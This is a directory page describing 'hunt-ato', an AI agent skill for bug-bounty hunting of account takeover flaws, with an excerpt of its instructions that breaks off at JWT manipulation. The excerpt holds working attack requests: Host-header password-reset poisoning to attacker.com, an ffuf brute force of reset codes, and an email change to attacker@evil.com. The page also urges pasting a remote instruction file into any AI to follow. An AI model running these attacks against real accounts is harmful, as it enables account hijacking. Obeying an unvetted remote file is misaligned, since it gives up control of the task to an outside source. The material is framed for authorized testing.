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Security48k · #3242

hunt-ato

Allows the agent to identify account takeover risks. It helps prevent attackers from taking control of user accounts.

What it does

This tool helps identify how an attacker could steal control of a user account on a website or app. It checks different methods that might be used to take over an account.

When to use it

  • ✓When testing website security.
  • ✓To understand how accounts can be stolen.
  • ✓To check if password recovery protections are strong.

Example of what to ask your AI

“Check if it's possible to steal the account 'user@example.com' via password reset.”

Want more? Open the sections below.

How to use

The easiest way: copy the message below and paste it into Claude, ChatGPT, Cursor or any AI. It reads the skill and follows the instructions.

Skill link

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-ato/SKILL.md

Ready-to-paste message

Use this skill to help me: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-ato/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
How it works

The tool simulates common attacks that exploit flaws in processes like password reset or email changes. It analyzes if an attacker can, for example, redirect a password reset link to themselves or guess recovery codes.

Installation

Easiest way: copy the skill link and paste it into Claude, ChatGPT or Cursor asking it to follow the instructions.

In the terminal (Claude Code, Codex, Cursor), in your project folder:

npx skills add sickn33/agentic-awesome-skills --skill hunt-ato

Or download just the file:

curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/hunt-ato/SKILL.md -o SKILL.md
Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

13. ATO — ACCOUNT TAKEOVER TAXONOMY

9 distinct paths. ATO is a destination class, not a single bug — each path below is a primitive that becomes Critical only when you demonstrate takeover of a SECOND account (test account B) you do not control, from attacker A's session/IP/device. A path that only locks you out of your own account, or only works when you already hold the victim's password AND session, is not a standalone ATO.

Path 1: Password Reset Poisoning (Host-Header)

POST /forgot-password HTTP/1.1
Host: attacker.com                 # primary Host swap
# OR keep real Host and add one of:
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
# OR dual-Host smuggling:  Host: target.com\r\nHost: attacker.com

email=victimB@company.com

The reset mailer builds the link from the request Host header → link points to attacker.com/reset?token=XXXX. Confirmation = OOB, not response-based: point the header at a Burp Collaborator / unique DNS name and read the actual email (use a controlled victim B inbox you own for the test). If the token only appears in the email body that lands at your Collaborator host, you have proof. False-positive killer: many apps put attacker.com in the email but the actual link domain is server-pinned — read the email, do not infer from the reflected header.

Path 2: Reset Token in Referer / Open-Redirect Leak

GET /reset-password?token=ABC123
→ page loads third-party resource: <script src="https://analytics.com/t.js">
→ browser sends  Referer: https://target.com/reset-password?token=ABC123
→ token exfiltrated to every off-origin host the page calls

Also test reset pages that 302 to an open redirect carrying the token in the URL. Proof: capture the outbound request in the Network tab (or Collaborator if you control the off-origin host) showing the full token in the Referer. Mitigated by Referrer-Policy: no-referrer + tokens in POST body — note their absence.

Path 3: Predictable / Weak Reset Tokens

# 6-digit numeric OTP-style reset code, no rate limit:
ffuf -u "https://target.com/api/reset/verify" -X POST \
  -H "Content-Type: application/json" \
  -d '{"email":"victimB@company.com","code":"FUZZ"}' \
  -w <(seq -w 000000 999999) -mc 200 -fr "invalid" -t 5
# time-based tokens: capture 5 tokens, diff — md5(timestamp)/sequential int = predictable

Discipline: request the victim-B token yourself (you own B), confirm entropy by sampling, THEN show a fresh brute lands. A rate-limit-only finding on /forgot-password is routinely rejected — the impact is token guessing, not request flooding.

Path 4: Token No-Expiry / Reuse / Cross-Account

Expiry:  request token → wait 2h → still valid? = bug
Reuse:   use token once → use again → still valid? = bug
Multi:   request token#1, then token#2 → is token#1 still valid? (should be invalidated)
Cross:   does B's token reset A's password if you swap the userid/email param? = IDOR-in-reset

Path 5: Email Change Without Re-Auth

PUT /api/user/email HTTP/1.1
Cookie: session=ATTACKER_A_SESSION
{"new_email":"attacker@evil.com"}     # no current_password, no OTP, no email-confirm

If the change takes effect with no current-password challenge and no confirm-link to the OLD address, trigger password reset → reset lands at attacker mailbox → ATO. The strongest variant skips even the new-address confirmation. Branded pattern: account-link / email-change → ATO via missing re-auth.

Path 6: JWT Manipulation

# (a) alg:none — strip the signature, set header alg to none

…
FAQ

What is 'Account Takeover' (ATO)?

It's when an attacker manages to gain control of a user account that doesn't belong to them.

Do I need permission to use this tool?

Yes, you need explicit, written permission from the system owner before using this tool. Misuse is illegal.

Can this tool actually steal an account?

It's designed to identify vulnerabilities that *could* be used to steal an account. Actual use requires technical knowledge and permission.

Details

Original description by the author

Hunt account takeover taxonomy

repo: sickn33/agentic-awesome-skills

Popularity

GitHub stars
48k
Ranking position
#3242
License
MIT
Updated
10/15/2026

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